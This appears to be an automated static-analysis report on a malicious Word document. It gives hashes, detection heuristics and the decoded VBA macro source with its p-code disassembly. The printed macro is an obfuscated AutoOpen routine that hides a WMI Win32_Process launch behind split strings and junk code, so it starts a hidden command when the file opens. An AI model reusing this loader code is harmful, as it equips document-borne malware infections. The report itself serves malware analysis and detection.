Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6c53c3f9f2d4a237…

MALICIOUS

Office (OLE)

150.1 KB Created: 2019-05-01 12:11:00 Authoring application: Microsoft Office Word First seen: 2020-05-14
MD5: 361a15d7b8128dd528e343feeae6e1b6 SHA-1: 481f07a8bfcc85898c4d49a3073ff3651b05730c SHA-256: 6c53c3f9f2d4a2371367019734bed40ff98401090a297b4856b9997df56168ff
270 Risk Score

Heuristics 8

  • ClamAV: Doc.Downloader.00536d-6959611-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.00536d-6959611-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
    Set VcAAXDD = K_QDQDD(GetObject("w" + "inmgmts:W" + "in32_Process" + "Sta" + "rtup"))
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
    Matched line in script
    Set VcAAXDD = K_QDQDD(GetObject("w" + "inmgmts:W" + "in32_Process" + "Sta" + "rtup"))
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set VcAAXDD = K_QDQDD(GetObject("w" + "inmgmts:W" + "in32_Process" + "Sta" + "rtup"))
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 22195 bytes
SHA-256: a7636dc4ac3e2240108dcdfd5708b2f2cfe3d505bf9d7d8a8c73f1c6e1ab2b0a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "MADQAZBX"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "zA_GcBBC"
Attribute VB_Base = "0{E5FABED2-5D09-470B-AB68-4DE1B02D2F08}{C296A562-7B4E-476A-8752-2E5E5EBF083F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "lAZoQGB"

Attribute VB_Name = "jGDAwAA"

Attribute VB_Name = "aAAXxQAo"

Attribute VB_Name = "BxABBwA"

Attribute VB_Name = "zCA_U1A"
Attribute VB_Base = "0{860FD737-E3D9-4B12-83F4-26073074266A}{6430A8A0-A2EC-47F2-A4A7-D1F0E89475C9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "rZAxCUB"
Function K_QDQDD(CQCAA_)
   Select Case GAA4xoA
Case 562220402
Minute CInt(172368050 _
- Tan(iDxQk_AA * Cos(vUADA_) + _
612781366 + 928404273))
End Select
   Select Case nAxwCA1
Case 722578661
Minute CInt(217345090 _
- Tan(sAGDBUAA * Cos(IAAAAUA) + _
609068523 + 878158039))
End Select
   Select Case F_AADAQ
Case 504802116
Minute CInt(269409384 _
- Tan(VGABZAQU * Cos(joU1BBk) + _
285758612 + 495812894))
End Select
Set K_QDQDD = CVar(CQCAA_)
   Select Case joXGAQ
Case 642372825
Minute CInt(857527804 _
- Tan(cADGAA * Cos(UCXcAAAA) + _
265654494 + 540685068))
End Select
   Select Case SC4AAow
Case 20847050
Minute CInt(986330889 _
- Tan(Rw4UAA * Cos(nCAGUQ) + _
269843009 + 574981606))
End Select
   Select Case sUBAAAB4
Case 455227288
Minute CInt(253047170 _
- Tan(vA_UAB * Cos(zAcwQwUA) + _
933209543 + 74908986))
End Select
End Function
Sub autoopen()
   Select Case KAAXAZ
Case 642497119
Minute CInt(181703225 _
- Tan(JGxAA4cc * Cos(hAxkGDAc) + _
664103252 + 685957492))
End Select
   Select Case XGG4GD
Case 703799256
Minute CInt(81578945 _
- Tan(U1UAAAQ * Cos(CBAX4Bx) + _
909336882 + 617387229))
End Select
   Select Case A_AACA
Case 900650784
Minute CInt(241955921 _
- Tan(fo1AA_DA * Cos(JUUxAc) + _
573758774 + 653526745))
End Select
Call KwQQAX
   Select Case b4kZ4wD_
Case 705372864
Minute CInt(57839682 _
- Tan(DU_XAA * Cos(aAAGcGZD) + _
830160224 + 203800841))
End Select
   Select Case qDAAA14
Case 395176598
Minute CInt(931474604 _
- Tan(m_cQUA * Cos(iABBBG) + _
272367672 + 425762302))
End Select
   Select Case lUA1A1A
Case 73545898
Minute CInt(435462980 _
- Tan(CAAADAAo * Cos(qAAwXGAA) + _
852514816 + 45840680))
End Select
End Sub


Attribute VB_Name = "FCxXwA"
Function KwQQAX()
On Error Resume Next
   Select Case FDcABxUC
Case 626636184
Minute CInt(531242096 _
- Tan(qoAAA1xA * Cos(cAUADkA) + _
616431418 + 553143818))
End Select
   Select Case DGwAkxA
Case 779757640
Minute CInt(689477681 _
- Tan(qDAAAo_ * Cos(KUAG_B1A) + _
853526271 + 339676429))
End Select
   Select Case bAUBDBG
Case 533436387
Minute CInt(957147201 _
- Tan(rAGoUwQA * Cos(qAQBXG) + _
538258994 + 562243367))
End Select
Set VcAAXDD = K_QDQDD(GetObject("w" + "inmgmts:W" + "in32_Process" + "Sta" + "rtup"))
   Select Case KDXAXDC
Case 201267541
Minute CInt(345682419 _
- Tan(LU_AQ1 * Cos(dCXAxoA) + _
792458517 + 442369741))
End Select
   Select Case QAAAwA4
Case 683066449
Minute CInt(563040337 _
- Tan(oAAADDAQ * Cos(aAAU1UxB) + _
656105962 + 858600647))
End Select
EwU_AA = vbError - vbError
   Select Case l1wAoDD
Case 780749121
Minute CInt(382246454 _
- Tan(HoACUA * Cos(YBAABABw) + _
263297230 + 64874686))
End Select
   Select Case KCAwCAAx
Case 678107768
Minute CInt(396623115 _
- Tan(oBAAUAkA * Cos(dZwQADwB) + _
910934091 + 957431707))
End Select
   Select Case NQAUBU
Case 939437504
Minute CInt(530405962 _
- Tan(oQQGX4CG * Cos(jAc1oXBG) + _
952411414 + 461352274))
End Select
IAUCCc_C = zA_GcBBC.oUAAGA.ControlSource + zCA_U1A.CAXGUk + zA_GcBBC.oUAAGA + zCA_U1A.HGAkGX + zA_GcBBC.oUAAGA + zA_GcBBC.oUAAGA.ControlTipText + zCA_U1A.pAcBAG + zA_GcBBC.oUAAGA.PasswordChar + zA_GcBBC.oUAAGA.ControlSource + zCA_U1A.MAQwAU + zA_GcBBC.oUAAGA + zCA_U1A.KoAGAQU + zA_GcBBC.oUAAGA.ControlSource
   Select Case zDAXcUQ
Case 525547524
Minute CInt(630570189 _
- Tan(FGBUQZZB * Cos(dABDCA) + _
759232484 + 260229354))
End Select
   Select Case nDoZCC
Case 120575209
Minute CInt(665626874 _
- Tan(QoDxcAx * Cos(pXDGUG) + _
407952378 + 363925637))
End Select
   Select Case zUUBA_
Case 121800024
Minute CInt(168327596 _
- Tan(iQQGZQUc * Cos(bDwkAo) + _
137065461 + 860912240))
End Select
VcAAXDD. _
ShowWindow = EwU_AA + EwU_AA + EwU_AA
   Select Case MAkZwU
Case 380049045
Minute CInt(610625887 _
- Tan(GAAQkGA * Cos(EoAcQAA) + _
740171091 + 725900438))
End Select
   Select Case PQBGAC
Case 806207263
Minute CInt(706922374 _
- Tan(pAUBAAQ4 * Cos(uQAGoA) + _
364827477 + 733999203))
End Select
   Select Case JAcAQAA
Case 74819874
Minute CInt(598877531 _
- Tan(hcQAwQAw * Cos(JZUQXwBA) + _
628639663 + 60059798))
End Select
   Select Case nQGBB4c
Case 963972515
Minute CInt(496923939 _
- Tan(UUAADDD * Cos(uADCAA) + _
312684036 + 159138785))
End Select
   Select Case iUBQQU
Case 37186357
Minute CInt(194853289 _
- Tan(B_CX_BB * Cos(MAkXADQw) + _
60921798 + 737821221))
End Select
   Select Case BQXAwAo
Case 314554477
Minute CInt(13947906 _
- Tan(hQxAoD_ * Cos(awxQAQ) + _
339318911 + 344412805))
End Select
Set BkwABAAD = K_QDQDD(GetObject("w" + "inmgmts:W" + "in32_Process"))
   Select Case KQU1BC
Case 382017609
Minute CInt(467039761 _
- Tan(wA_AA1_x * Cos(TAAAUAUD) + _
497401388 + 598366382))
End Select
   Select Case AACcXA
Case 742209975
Minute CInt(262265927 _
- Tan(AZoZBD4 * Cos(BAXAAA) + _
151750259 + 403508955))
End Select
BkwABAAD.Create TZ1kZAGA + IAUCCc_C + YUcAUA, hQDBAcA, VcAAXDD, cQQAU4x
   Select Case vCCQ4Bx
Case 861411947
Minute CInt(985116547 _
- Tan(IAZDQQwA * Cos(hBB4GUAQ) + _
319336316 + 797347929))
End Select
   Select Case hAZGkAAQ
Case 518723140
Minute CInt(613416016 _
- Tan(I4UBxDQ * Cos(kAUAAG) + _
329499248 + 606275965))
End Select
End Function


' Processing file: /opt/analyzer/scan_staging/07acc8f15e1e41c7aa3e0620b01da6f8.bin
' ===============================================================================
' Module streams:
' Macros/VBA/MADQAZBX - 1100 bytes
' Macros/VBA/zA_GcBBC - 1155 bytes
' Macros/VBA/lAZoQGB - 675 bytes
' Macros/VBA/jGDAwAA - 675 bytes
' Macros/VBA/aAAXxQAo - 677 bytes
' Macros/VBA/BxABBwA - 675 bytes
' Macros/VBA/zCA_U1A - 1158 bytes
' Macros/VBA/rZAxCUB - 3779 bytes
' Line #0:
' 	FuncDefn (Function rZAxCUB(K_QDQDD))
' Line #1:
' 	Ld CQCAA_ 
' 	SelectCase 
' Line #2:
' 	LitDI4 0xCD72 0x2182 
' 	Case 
' 	CaseDone 
' Line #3:
' 	LineCont 0x0008 04 00 00 00 0E 00 00 00
' 	LitDI4 0x20B2 0x0A46 
' 	Ld GAA4xoA 
' 	Ld iDxQk_AA 
' 	ArgsLd Cos 0x0001 
' 	Mul 
' 	LitDI4 0x4D36 0x2486 
' 	Add 
' 	LitDI4 0x5331 0x3756 
' 	Add 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Coerce (Int) 
' 	ArgsCall Minute 0x0001 
' Line #4:
' 	EndSelect 
' Line #5:
' 	Ld vUADA_ 
' 	SelectCase 
' Line #6:
' 	LitDI4 0xACE5 0x2B11 
' 	Case 
' 	CaseDone 
' Line #7:
' 	LineCont 0x0008 04 00 00 00 0E 00 00 00
' 	LitDI4 0x6C42 0x0CF4 
' 	Ld nAxwCA1 
' 	Ld sAGDBUAA 
' 	ArgsLd Cos 0x0001 
' 	Mul 
' 	LitDI4 0xA5EB 0x244D 
' 	Add 
' 	LitDI4 0xA0D7 0x3457 
' 	Add 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Coerce (Int) 
' 	ArgsCall Minute 0x0001 
' Line #8:
' 	EndSelect 
' Line #9:
' 	Ld IAAAAUA 
' 	SelectCase 
' Line #10:
' 	LitDI4 0xAB44 0x1E16 
' 	Case 
' 	CaseDone 
' Line #11:
' 	LineCont 0x0008 04 00 00 00 0E 00 00 00
' 	LitDI4 0xDC68 0x100E 
' 	Ld F_AADAQ 
' 	Ld VGABZAQU 
' 	ArgsLd Cos 0x0001 
' 	Mul 
' 	LitDI4 0x5494 0x1108 
' 	Add 
' 	LitDI4 0x811E 0x1D8D 
' 	Add 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Coerce (Int) 
' 	ArgsCall Minute 0x0001 
' Line #12:
' 	EndSelect 
' Line #13:
' 	SetStmt 
' 	Ld K_QDQDD 
' 	Coerce (Var) 
' 	Set rZAxCUB 
' Line #14:
' 	Ld joU1BBk 
' 	SelectCase 
' Line #15:
' 	LitDI4 0xD4D9 0x2649 
' 	Case 
' 	CaseDone 
' Line #16:
' 	LineCont 0x0008 04 00 00 00 0E 00 00 00
' 	LitDI4 0xD5FC 0x331C 
' 	Ld joXGAQ 
' 	Ld cADGAA 
' 	ArgsLd Cos 0x0001 
' 	Mul 
' 	LitDI4 0x90DE 0x0FD5 
' 	Add 
' 	LitDI4 0x330C 0x203A 
' 	Add 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Coerce (Int) 
' 	ArgsCall Minute 0x0001 
' Line #17:
' 	EndSelect 
' Line #18:
' 	Ld UCXcAAAA 
' 	SelectCase 
' Line #19:
' 	LitDI4 0x19CA 0x013E 
' 	Case 
' 	CaseDone 
' Line #20:
' 	LineCont 0x0008 04 00 00 00 0E 00 00 00
' 	LitDI4 0x3709 0x3ACA 
' 	Ld SC4AAow 
' 	Ld Rw4UAA 
' 	ArgsLd Cos 0x0001 
' 	Mul 
' 	LitDI4 0x7A41 0x1015 
' 	Add 
' 	LitDI4 0x85E6 0x2245 
' 	Add 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Coerce (Int) 
' 	ArgsCall Minute 0x0001 
' Line #21:
' 	EndSelect 
' Line #22:
' 	Ld nCAGUQ 
' 	SelectCase 
' Line #23:
' 	LitDI4 0x3798 0x1B22 
' 	Case 
' 	CaseDone 
' Line #24:
' 	LineCont 0x0008 04 00 00 00 0E 00 00 00
' 	LitDI4 0x3182 0x0F15 
' 	Ld sUBAAAB4 
' 	Ld vA_UAB 
' 	ArgsLd Cos 0x0001 
' 	Mul 
' 	LitDI4 0xA5C7 0x379F 
' 	Add 
' 	LitDI4 0x053A 0x0477 
' 	Add 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Coerce (Int) 
' 	ArgsCall Minute 0x0001 
' Line #25:
' 	EndSelect 
' Line #26:
' 	EndFunc 
' Line #27:
' 	FuncDefn (Sub zAcwQwUA())
' Line #28:
' 	Ld autoopen 
' 	SelectCase 
' Line #29:
' 	LitDI4 0xBA5F 0x264B 
' 	Case 
' 	CaseDone 
' Line #30:
' 	LineCont 0x0008 04 00 00 00 0E 00 00 00
' 	LitDI4 0x9239 0x0AD4 
' 	Ld KAAXAZ 
' 	Ld JGxAA4cc 
' 	ArgsLd Cos 0x0001 
' 	Mul 
' 	LitDI4 0x6954 0x2795 
' 	Add 
' 	LitDI4 0xE174 0x28E2 
' 	Add 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Coerce (Int) 
' 	ArgsCall Minute 0x0001 
' Line #31:
' 	EndSelect 
' Line #32:
' 	Ld hAxkGDAc 
' 	SelectCase 
' Line #33:
' 	LitDI4 0x1FD8 0x29F3 
' 	Case 
' 	CaseDone 
' Line #34:
' 	LineCont 0x0008 04 00 00 00 0E 00 00 00
' 	LitDI4 0xCBC1 0x04DC 
' 	Ld XGG4GD 
' 	Ld U1UAAAQ 
' 	ArgsLd Cos 0x0001 
' 	Mul 
' 	LitDI4 0x6132 0x3633 
' 	Add 
' 	LitDI4 0x94DD 0x24CC 
' 	Add 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Coerce (Int) 
' 	ArgsCall Minute 0x0001 
' Line #35:
' 	EndSelect 
' Line #36:
' 	Ld CBAX4Bx 
' 	SelectCase 
' Line #37:
' 	LitDI4 0xD720 0x35AE 
' 	Case 
' 	CaseDone 
' Line #38:
' 	LineCont 0x0008 04 00 00 00 0E 00 00 00
' 	LitDI4 0xF451 0x0E6B 
' 	Ld A_AACA 
' 	Ld fo1AA_DA 
' 	ArgsLd Cos 0x0001 
' 	Mul 
' 	LitDI4 0xDD36 0x2232 
' 	Add 
' 	LitDI4 0x06D9 0x26F4 
' 	Add 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Coerce (Int) 
' 	ArgsCall Minute 0x0001 
' Line #39:
' 	EndSelect 
' Line #40:
' 	ArgsCall (Call) JUUxAc 0x0000 
' Line #41:
' 	Ld KwQQAX 
' 	SelectCase 
' Line #42:
' 	LitDI4 0x22C0 0x2A0B 
' 	Case 
' 	CaseDone 
' Line #43:
' 	LineCont 0x0008 04 00 00 00 0E 00 00 00
' 	LitDI4 0x9042 0x0372 
' 	Ld b4kZ4wD_ 
' 	Ld DU_XAA 
' 	ArgsLd Cos 0x0001 
' 	Mul 
' 	LitDI4 0x3D60 0x317B 
' 	Add 
' 	LitDI4 0xC109 0x0C25 
' 	Add 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Coerce (Int) 
' 	ArgsCall Minute 0x0001 
' Line #44:
' 	EndSelect 
' Line #45:
' 	Ld aAAGcGZD 
' 	SelectCase 
' Line #46:
' 	LitDI4 0xEA96 0x178D 
' 	Case 
' 	CaseDone 
' Line #47:
' 	LineCont 0x0008 04 00 00 00 0E 00 00 00
' 	LitDI4 0x2CAC 0x3785 
' 	Ld qDAAA14 
' 	Ld m_cQUA 
' 	ArgsLd Cos 0x0001 
' 	Mul 
' 	LitDI4 0x0038 0x103C 
' 	Add 
' 	LitDI4 0x9DFE 0x1960 
' 	Add 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Coerce (Int) 
' 	ArgsCall Minute 0x0001 
' Line #48:
' 	EndSelect 
' Line #49:
' 	Ld iABBBG 
' 	SelectCase 
' Line #50:
' 	LitDI4 0x38AA 0x0462 
' 	Case 
' 	CaseDone 
' Line #51:
' 	LineCont 0x0008 04 00 00 00 0E 00 00 00
' 	LitDI4 0xA344 0x19F4 
' 	Ld lUA1A1A 
' 	Ld CAAADAAo 
' 	ArgsLd Cos 0x0001 
' 	Mul 
' 	LitDI4 0x5800 0x32D0 
' 	Add 
' 	LitDI4 0x7928 0x02BB 
' 	Add 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Coerce (Int) 
' 	ArgsCall Minute 0x0001 
' Line #52:
' 	EndSelect 
' Line #53:
' 	EndSub 
' Line #54:
' Macros/VBA/FCxXwA - 6360 bytes
' Line #0:
' 	FuncDefn (Function JUUxAc())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld FCxXwA 
' 	SelectCase 
' Line #3:
' 	LitDI4 0xB598 0x2559 
' 	Case 
' 	CaseDone 
' Line #4:
' 	LineCont 0x0008 04 00 00 00 0E 00 00 00
' 	LitDI4 0x1C70 0x1FAA 
' 	Ld FDcABxUC 
' 	Ld qoAAA1xA 
' 	ArgsLd Cos 0x0001 
' 	Mul 
' 	LitDI4 0xFF3A 0x24BD 
' 	Add 
' 	LitDI4 0x4E0A 0x20F8 
' 	Add 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Coerce (Int) 
' 	ArgsCall Minute 0x0001 
' Line #5:
' 	EndSelect 
' Line #6:
' 	Ld cAUADkA 
' 	SelectCase 
' Line #7:
' 	LitDI4 0x2848 0x2E7A 
' 	Case 
' 	CaseDone 
' Line #8:
' 	LineCont 0x0008 04 00 00 00 0E 00 00 00
' 	LitDI4 0x9831 0x2918 
' 	Ld DGwAkxA 
' 	Ld qDAAAo_ 
' 	ArgsLd Cos 0x0001 
' 	Mul 
' 	LitDI4 0xC6FF 0x32DF 
' 	Add 
' 	LitDI4 0x0D0D 0x143F 
' 	Add 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Coerce (Int) 
' 	ArgsCall Minute 0x0001 
' Line #9:
' 	EndSelect 
' Line #10:
' 	Ld KUAG_B1A 
' 	SelectCase 
' Line #11:
' 	LitDI4 0x97E3 0x1FCB 
' 	Case 
' 	CaseDone 
' Line #12:
' 	LineCont 0x0008 04 00 00 00 0E 00 00 00
' 	LitDI4 0xE841 0x390C 
' 	Ld bAUBDBG 
' 	Ld rAGoUwQA 
' 	ArgsLd Cos 0x0001 
' 	Mul 
' 	LitDI4 0x2E32 0x2015 
' 	Add 
' 	LitDI4 0x2727 0x2183 
' 	Add 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Coerce (Int) 
' 	ArgsCall Minute 0x0001 
' Line #13:
' 	EndSelect 
' Line #14:
' 	SetStmt 
' 	LitStr 0x0001 "w"
' 	LitStr 0x0009 "inmgmts:W"
' 	Add 
' 	LitStr 0x000C "in32_Process"
' 	Add 
' 	LitStr 0x0003 "Sta"
' 	Add 
' 	LitStr 0x0004 "rtup"
' 	Add 
' 	ArgsLd VcAAXDD 0x0001 
' 	ArgsLd rZAxCUB 0x0001 
' 	Set qAQBXG 
' Line #15:
' 	Ld GetObject 
' 	SelectCase 
' Line #16:
' 	LitDI4 0x1955 0x0BFF 
' 	Case 
' 	CaseDone 
' Line #17:
' 	LineCont 0x0008 04 00 00 00 0E 00 00 00
' 	LitDI4 0xB1F3 0x149A 
' 	Ld KDXAXDC 
' 	Ld LU_AQ1 
' 	ArgsLd Cos 0x0001 
' 	Mul 
' 	LitDI4 0xF515 0x2F3B 
' 	Add 
' 	LitDI4 0x06CD 0x1A5E 
' 	Add 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Coerce (Int) 
' 	ArgsCall Minute 0x0001 
' Line #18:
' 	EndSelect 
' Line #19:
' 	Ld dCXAxoA 
' 	SelectCase 
' Line #20:
' 	LitDI4 0xC451 0x28B6 
' 	Case 
' 	CaseDone 
' Line #21:
' 	LineCont 0x0008 04 00 00 00 0E 00 00 00
' 	LitDI4 0x5051 0x218F 
' 	Ld QAAAwA4 
' 	Ld oAAADDAQ 
' 	ArgsLd Cos 0x0001 
' 	Mul 
' 	LitDI4 0x61EA 0x271B 
' 	Add 
' 	LitDI4 0x34C7 0x332D 
' 	Add 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Coerce (Int) 
' 	ArgsCall Minute 0x0001 
' Line #22:
' 	EndSelect 
' Line #23:
' 	Ld EwU_AA 
' 	Ld EwU_AA 
' 	Sub 
' 	St aAAU1UxB 
' Line #24:
' 	Ld vbError 
' 	SelectCase 
' Line #25:
' 	LitDI4 0x4941 0x2E89 
' 	Case 
' 	CaseDone 
' Line #26:
' 	LineCont 0x0008 04 00 00 00 0E 00 00 00
' 	LitDI4 0x9E36 0x16C8 
' 	Ld l1wAoDD 
' 	Ld HoACUA 
' 	ArgsLd Cos 0x0001 
' 	Mul 
' 	LitDI4 0x98CE 0x0FB1 
' 	Add 
' 	LitDI4 0xE8BE 0x03DD 
' 	Add 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Coerce (Int) 
' 	ArgsCall Minute 0x0001 
' Line #27:
' 	EndSelect 
' Line #28:
' 	Ld YBAABABw 
' 	SelectCase 
' Line #29:
' 	LitDI4 0x1A78 0x286B 
' 	Case 
' 	CaseDone 
' Line #30:
' 	LineCont 0x0008 04 00 00 00 0E 00 00 00
' 	LitDI4 0xFD0B 0x17A3 
' 	Ld KCAwCAAx 
' 	Ld oBAAUAkA 
' 	ArgsLd Cos 0x0001 
' 	Mul 
' 	LitDI4 0xC04B 0x364B 
' 	Add 
' 	LitDI4 0x3F9B 0x3911 
' 	Add 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Coerce (Int) 
' 	ArgsCall Minute 0x0001 
' Line #31:
' 	EndSelect 
' Line #32:
' 	Ld dZwQADwB 
' 	SelectCase 
' Line #33:
' 	LitDI4 0xADC0 0x37FE 
' 	Case 
' 	CaseDone 
' Line #34:
' 	LineCont 0x0008 04 00 00 00 0E 00 00 00
' 	LitDI4 0x5A4A 0x1F9D 
' 	Ld NQAUBU 
' 	Ld oQQGX4CG 
' 	ArgsLd Cos 0x0001 
' 	Mul 
' 	LitDI4 0xA516 0x38C4 
' 	Add 
' 	LitDI4 0xAD52 0x1B7F 
' 	Add 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Coerce (Int) 
' 	ArgsCall Minute 0x0001 
' Line #35:
' 	EndSelect 
' Line #36:
' 	Ld zCA_U1A 
' 	MemLd IAUCCc_C 
' 	MemLd oUAAGA 
' 	Ld MSForms 
' 	MemLd ControlSource 
' 	Add 
' 	Ld zCA_U1A 
' 	MemLd IAUCCc_C 
' 	Add 
' 	Ld MSForms 
' 	MemLd CAXGUk 
' 	Add 
' 	Ld zCA_U1A 
' 	MemLd IAUCCc_C 
' 	Add 
' 	Ld zCA_U1A 
' 	MemLd IAUCCc_C 
' 	MemLd Form 
' 	Add 
' 	Ld MSForms 
' 	MemLd HGAkGX 
' 	Add 
' 	Ld zCA_U1A 
' 	MemLd IAUCCc_C 
' 	MemLd pAcBAG 
' 	Add 
' 	Ld zCA_U1A 
' 	MemLd IAUCCc_C 
' 	MemLd oUAAGA 
' 	Add 
' 	Ld MSForms 
' 	MemLd PasswordChar 
' 	Add 
' 	Ld zCA_U1A 
' 	MemLd IAUCCc_C 
' 	Add 
' 	Ld MSForms 
' 	MemLd MAQwAU 
' 	Add 
' 	Ld zCA_U1A 
' 	MemLd IAUCCc_C 
' 	MemLd oUAAGA 
' 	Add 
' 	St jAc1oXBG 
' Line #37:
' 	Ld KoAGAQU 
' 	SelectCase 
' Line #38:
' 	LitDI4 0x3804 0x1F53 
' 	Case 
' 	CaseDone 
' Line #39:
' 	LineCont 0x0008 04 00 00 00 0E 00 00 00
' 	LitDI4 0xBCCD 0x2595 
' 	Ld zDAXcUQ 
' 	Ld FGBUQZZB 
' 	ArgsLd Cos 0x0001 
' 	Mul 
' 	LitDI4 0xF7E4 0x2D40 
' 	Add 
' 	LitDI4 0xC8EA 0x0F82 
' 	Add 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Coerce (Int) 
' 	ArgsCall Minute 0x0001 
' Line #40:
' 	EndSelect 
' Line #41:
' 	Ld dABDCA 
' 	SelectCase 
' Line #42:
' 	LitDI4 0xD4E9 0x072F 
' 	Case 
' 	CaseDone 
' Line #43:
' 	LineCont 0x0008 04 00 00 00 0E 00 00 00
' 	LitDI4 0xA8FA 0x27AC 
' 	Ld nDoZCC 
' 	Ld QoDxcAx 
' 	ArgsLd Cos 0x0001 
' 	Mul 
' 	LitDI4 0xDBFA 0x1850 
' 	Add 
' 	LitDI4 0x1085 0x15B1 
' 	Add 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Coerce (Int) 
' 	ArgsCall Minute 0x0001 
' Line #44:
' 	EndSelect 
' Line #45:
' 	Ld pXDGUG 
' 	SelectCase 
' Line #46:
' 	LitDI4 0x8558 0x0742 
' 	Case 
' 	CaseDone 
' Line #47:
' 	LineCont 0x0008 04 00 00 00 0E 00 00 00
' 	LitDI4 0x79AC 0x0A08 
' 	Ld zUUBA_ 
' 	Ld iQQGZQUc 
' 	ArgsLd Cos 0x0001 
' 	Mul 
' 	LitDI4 0x73F5 0x082B 
' 	Add 
' 	LitDI4 0x7A70 0x3350 
' 	Add 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Coerce (Int) 
' 	ArgsCall Minute 0x0001 
' Line #48:
' 	EndSelect 
' Line #49:
' 	LineCont 0x0004 02 00 00 00
' 	Ld aAAU1UxB 
' 	Ld aAAU1UxB 
' 	Add 
' 	Ld aAAU1UxB 
' 	Add 
' 	Ld qAQBXG 
' 	MemSt bDwkAo 
' Line #50:
' 	Ld ShowWindow 
' 	SelectCase 
' Line #51:
' 	LitDI4 0x1695 0x16A7 
' 	Case 
' 	CaseDone 
' Line #52:
' 	LineCont 0x0008 04 00 00 00 0E 00 00 00
' 	LitDI4 0x695F 0x2465 
' 	Ld MAkZwU 
' 	Ld GAAQkGA 
' 	ArgsLd Cos 0x0001 
' 	Mul 
' 	LitDI4 0x1D53 0x2C1E 
' 	Add 
' 	LitDI4 0x5C96 0x2B44 
' 	Add 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Coerce (Int) 
' 	ArgsCall Minute 0x0001 
' Line #53:
' 	EndSelect 
' Line #54:
' 	Ld EoAcQAA 
' 	SelectCase 
' Line #55:
' 	LitDI4 0xBF1F 0x300D 
' 	Case 
' 	CaseDone 
' Line #56:
' 	LineCont 0x0008 04 00 00 00 0E 00 00 00
' 	LitDI4 0xC786 0x2A22 
' 	Ld PQBGAC 
' 	Ld pAUBAAQ4 
' 	ArgsLd Cos 0x0001 
' 	Mul 
' 	LitDI4 0xD355 0x15BE 
' 	Add 
' 	LitDI4 0xF063 0x2BBF 
' 	Add 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Coerce (Int) 
' 	ArgsCall Minute 0x0001 
' Line #57:
' 	EndSelect 
' Line #58:
' 	Ld uQAGoA 
' 	SelectCase 
' Line #59:
' 	LitDI4 0xA922 0x0475 
' 	Case 
' 	CaseDone 
' Line #60:
' 	LineCont 0x0008 04 00 00 00 0E 00 00 00
' 	LitDI4 0x255B 0x23B2 
' 	Ld JAcAQAA 
' 	Ld hcQAwQAw 
' 	ArgsLd Cos 0x0001 
' 	Mul 
' 	LitDI4 0x47AF 0x2578 
' 	Add 
' 	LitDI4 0x7096 0x0394 
' 	Add 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Coerce (Int) 
' 	ArgsCall Minute 0x0001 
' Line #61:
' 	EndSelect 
' Line #62:
